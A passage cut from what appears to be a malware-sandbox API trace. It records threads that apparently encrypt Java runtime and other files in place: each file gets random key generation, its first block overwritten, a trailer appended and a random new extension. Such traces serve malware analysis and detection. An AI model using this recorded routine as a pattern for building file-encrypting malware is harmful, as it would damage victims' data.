(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ff0 [0240.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ff0) returned 1 [0240.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cea520 [0240.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ff0 [0240.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7050 [0240.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7050) returned 1 [0240.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0240.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0240.999] WriteFile (hFile=0x1b34, lpBuffer=0x41cea520, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x209ffb20, lpOverlapped=0x0) Thread: id = 3964 os_tid = 0xd08 [0238.465] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.chk")) returned 0xffffffff [0242.675] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk", dwFileAttributes=0x20) returned 0 [0243.553] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.chk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0243.554] GetLastError () returned 0x2 [0243.554] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk", dwFileAttributes=0xffffffff) returned 0 [0243.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205088b0) returned 1 Thread: id = 3965 os_tid = 0xc54 [0238.466] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar")) returned 0x20 [0239.529] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar", dwFileAttributes=0x20) returned 1 [0239.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bf4 [0239.775] GetFileSizeEx (in: hFile=0x2bf4, lpFileSize=0x2685f680 | out: lpFileSize=0x2685f680*=8934) returned 1 [0239.775] SetFilePointerEx (in: hFile=0x2bf4, liDistanceToMove=0x22e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.775] ReadFile (in: hFile=0x2bf4, lpBuffer=0x2685f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2685f648, lpOverlapped=0x0 | out: lpBuffer=0x2685f600*, lpNumberOfBytesRead=0x2685f648*=0x4, lpOverlapped=0x0) returned 1 [0239.801] SetFilePointerEx (in: hFile=0x2bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6350 [0239.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7010 [0239.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6170 [0239.802] NtQuerySystemTime (in: CurrentTime=0x2685f540 | out: CurrentTime=0x2685f540*=132462178436014000) returned 0x0 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x5d5de1e7 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x14117d8b [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x3322f127 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0xd3b843a [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x49fd22d4 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x1888e000 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x1263301f [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x61fe2fff [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x27c7f185 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x1a17ed0c [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x53a444b3 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x42157df8 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x28766d8e [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0xa1c9a7f [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x34168d0b [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x7aebc34b [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x426a42b5 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x557d8174 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x5efd411f [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x4c5af6d6 [0239.802] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x66396919 [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x703f801e [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x442dc5e6 [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x52316b88 [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x35069d93 [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x63235459 [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x7369971 [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x31a7e6d5 [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x55eef1f8 [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x6f661d78 [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x6622e81a [0239.803] RtlRandomEx (in: Seed=0x2685f530 | out: Seed=0x2685f530) returned 0x4b619d41 [0239.813] ReadFile (in: hFile=0x2bf4, lpBuffer=0x202d3d40, nNumberOfBytesToRead=0x22e6, lpNumberOfBytesRead=0x2685f530, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesRead=0x2685f530*=0x22e6, lpOverlapped=0x0) returned 1 [0239.850] SetFilePointerEx (in: hFile=0x2bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.850] WriteFile (in: hFile=0x2bf4, lpBuffer=0x202df170*, nNumberOfBytesToWrite=0x22e6, lpNumberOfBytesWritten=0x2685f534, lpOverlapped=0x0 | out: lpBuffer=0x202df170*, lpNumberOfBytesWritten=0x2685f534*=0x22e6, lpOverlapped=0x0) returned 1 [0242.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7110 [0242.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7cb0 [0242.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7cb0) returned 1 [0242.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202df170) returned 1 [0242.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d3d40) returned 1 [0242.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8686c0) returned 1 [0242.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f10) returned 1 [0242.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7cb0 [0242.413] SetFilePointerEx (in: hFile=0x2bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0242.413] WriteFile (in: hFile=0x2bf4, lpBuffer=0x1cebccf0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2685f650, lpOverlapped=0x0 | out: lpBuffer=0x1cebccf0*, lpNumberOfBytesWritten=0x2685f650*=0x104, lpOverlapped=0x0) returned 1 [0242.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058510 [0242.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0242.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6fb0 [0242.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6fb0) returned 1 [0242.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0242.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6fb0 [0242.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7280 [0242.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7280) returned 1 [0242.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0242.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058510) returned 1 [0242.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a7280 [0242.905] sprintf (in: _Dest=0x202a7280, _Format="%c%c" | out: _Dest="01") returned 2 [0242.905] sprintf (in: _Dest=0x202a7282, _Format="%c%c" | out: _Dest="f4") returned 2 [0242.905] sprintf (in: _Dest=0x202a7284, _Format="%c%c" | out: _Dest="03") returned 2 [0242.905] sprintf (in: _Dest=0x202a7286, _Format="%c%c" | out: _Dest="9b") returned 2 [0242.905] sprintf (in: _Dest=0x202a7288, _Format="%c%c" | out: _Dest="5f") returned 2 [0242.905] sprintf (in: _Dest=0x202a728a, _Format="%c%c" | out: _Dest="65") returned 2 [0242.905] sprintf (in: _Dest=0x202a728c, _Format="%c%c" | out: _Dest="e3") returned 2 [0242.905] sprintf (in: _Dest=0x202a728e, _Format="%c%c" | out: _Dest="c7") returned 2 [0242.905] sprintf (in: _Dest=0x202a7290, _Format="%c%c" | out: _Dest="86") returned 2 [0242.905] sprintf (in: _Dest=0x202a7292, _Format="%c%c" | out: _Dest="d1") returned 2 [0242.905] sprintf (in: _Dest=0x202a7294, _Format="%c%c" | out: _Dest="16") returned 2 [0242.905] sprintf (in: _Dest=0x202a7296, _Format="%c%c" | out: _Dest="a7") returned 2 [0242.905] sprintf (in: _Dest=0x202a7298, _Format="%c%c" | out: _Dest="fa") returned 2 [0242.905] sprintf (in: _Dest=0x202a729a, _Format="%c%c" | out: _Dest="cc") returned 2 [0242.906] sprintf (in: _Dest=0x202a729c, _Format="%c%c" | out: _Dest="40") returned 2 [0242.906] sprintf (in: _Dest=0x202a729e, _Format="%c%c" | out: _Dest="77") returned 2 [0242.906] sprintf (in: _Dest=0x202a72a0, _Format="%c%c" | out: _Dest="4f") returned 2 [0242.906] sprintf (in: _Dest=0x202a72a2, _Format="%c%c" | out: _Dest="4c") returned 2 [0242.906] RtlInitAnsiString (in: DestinationString=0x2685f6c8, SourceString="01f4039b5f65e3c786d116a7facc40774f4c" | out: DestinationString="01f4039b5f65e3c786d116a7facc40774f4c") [0242.906] RtlAnsiStringToUnicodeString (in: DestinationString=0x2685f698, SourceString="01f4039b5f65e3c786d116a7facc40774f4c", AllocateDestinationString=1 | out: DestinationString="01f4039b5f65e3c786d116a7facc40774f4c") returned 0x0 [0242.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858550 [0242.907] wcscat (in: _Dest=0x1b85eb90, _Source="01f4039b5" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\01f4039b5") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\01f4039b5" [0242.907] wcscat (in: _Dest=0x1b85eb90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\01f4039b5.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\01f4039b5.2f9b60" [0242.907] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\01f4039b5.2f9b60", NtPathName=0x2685f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\01f4039b5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1c30 Thread: id = 3966 os_tid = 0x22bc [0238.467] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar")) returned 0x20 [0239.533] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar", dwFileAttributes=0x20) returned 1 [0239.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2be0 [0239.793] GetFileSizeEx (in: hFile=0x2be0, lpFileSize=0x2cf5f920 | out: lpFileSize=0x2cf5f920*=43594) returned 1 [0239.793] SetFilePointerEx (in: hFile=0x2be0, liDistanceToMove=0xaa46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.793] ReadFile (in: hFile=0x2be0, lpBuffer=0x2cf5f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cf5f8e8, lpOverlapped=0x0 | out: lpBuffer=0x2cf5f8a0*, lpNumberOfBytesRead=0x2cf5f8e8*=0x4, lpOverlapped=0x0) returned 1 [0239.823] SetFilePointerEx (in: hFile=0x2be0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6170 [0239.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b90 [0239.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ce0 [0239.824] NtQuerySystemTime (in: CurrentTime=0x2cf5f7e0 | out: CurrentTime=0x2cf5f7e0*=132462178436326000) returned 0x0 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x16d38e2b [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x3f0c7ce3 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x55000dce [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x3aa5455a [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x105e2b10 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x7c3a063f [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x3c26e41a [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x518bade1 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x3a4f93da [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x79380ea [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x6bf44091 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x31b04e78 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x68d37582 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x762156b7 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x1a63dfd7 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x2373feb1 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x4cb72477 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x1bdee220 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x2d28d1d4 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x23337283 [0239.824] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x24601907 [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x3df6de38 [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x5cea498e [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x33e9f233 [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x2b0981fe [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x58802a0d [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x62c92017 [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x1f0e5d7f [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x5960f8a1 [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x4ba8ec56 [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x372e8465 [0239.825] RtlRandomEx (in: Seed=0x2cf5f7d0 | out: Seed=0x2cf5f7d0) returned 0x7d9bea8a [0239.835] SetFilePointerEx (in: hFile=0x2be0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.835] ReadFile (in: hFile=0x2be0, lpBuffer=0x202c8910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cf5f840, lpOverlapped=0x0 | out: lpBuffer=0x202c8910*, lpNumberOfBytesRead=0x2cf5f840*=0x3c00, lpOverlapped=0x0) returned 1 [0239.869] SetFilePointerEx (in: hFile=0x2be0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce63090 [0239.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0239.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6170 [0239.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6170) returned 1 [0239.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202e6990 [0239.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6170 [0239.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e80 [0239.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7e80) returned 1 [0239.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0239.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63090) returned 1 [0239.874] WriteFile (hFile=0x2be0, lpBuffer=0x202e6990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cf5f840, lpOverlapped=0x0) Thread: id = 3967 os_tid = 0xeb0 [0238.468] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\localedata.jar")) returned 0x20 [0239.531] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar", dwFileAttributes=0x20) returned 1 [0239.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\localedata.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bbc [0239.729] GetFileSizeEx (in: hFile=0x2bbc, lpFileSize=0x30dafc60 | out: lpFileSize=0x30dafc60*=1014029) returned 1 [0239.729] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0xf7909, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.729] ReadFile (in: hFile=0x2bbc, lpBuffer=0x30dafbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30dafc28, lpOverlapped=0x0 | out: lpBuffer=0x30dafbe0*, lpNumberOfBytesRead=0x30dafc28*=0x4, lpOverlapped=0x0) returned 1 [0239.739] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0239.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7250 [0239.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0239.740] NtQuerySystemTime (in: CurrentTime=0x30dafb20 | out: CurrentTime=0x30dafb20*=132462178435390000) returned 0x0 [0239.740] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x1cd0fa7f [0239.740] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x60a908a2 [0239.740] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x661f289 [0239.740] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x19f7fd6e [0239.740] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x2ba0bd8d [0239.740] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x9faf246 [0239.740] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x713e3d40 [0239.740] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x2ad6dbb3 [0239.740] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x35ed08d4 [0239.740] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x211a3712 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x70480cdb [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x1f2f7a9a [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x1e814774 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x557ff100 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0xa25f72b [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x1a50bf1e [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x54e00a4a [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x19548108 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x7d010db7 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x54542967 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x595c2677 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x11d0b3ae [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x360fe5e8 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x7e97bfed [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x1b9e7319 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x6a6a9525 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x3f99693d [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x4cbc5961 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x2c28207b [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x401e2392 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x341d6452 [0239.741] RtlRandomEx (in: Seed=0x30dafb10 | out: Seed=0x30dafb10) returned 0x481831b [0239.751] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.751] ReadFile (in: hFile=0x2bbc, lpBuffer=0x4241b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30dafb80, lpOverlapped=0x0 | out: lpBuffer=0x4241b5c0*, lpNumberOfBytesRead=0x30dafb80*=0x3c00, lpOverlapped=0x0) returned 1 [0239.768] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61f10 [0239.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8686c0 [0239.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0239.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0239.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423ee500 [0239.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0239.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6440 [0239.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6440) returned 1 [0239.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8686c0) returned 1 [0239.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f10) returned 1 [0239.774] 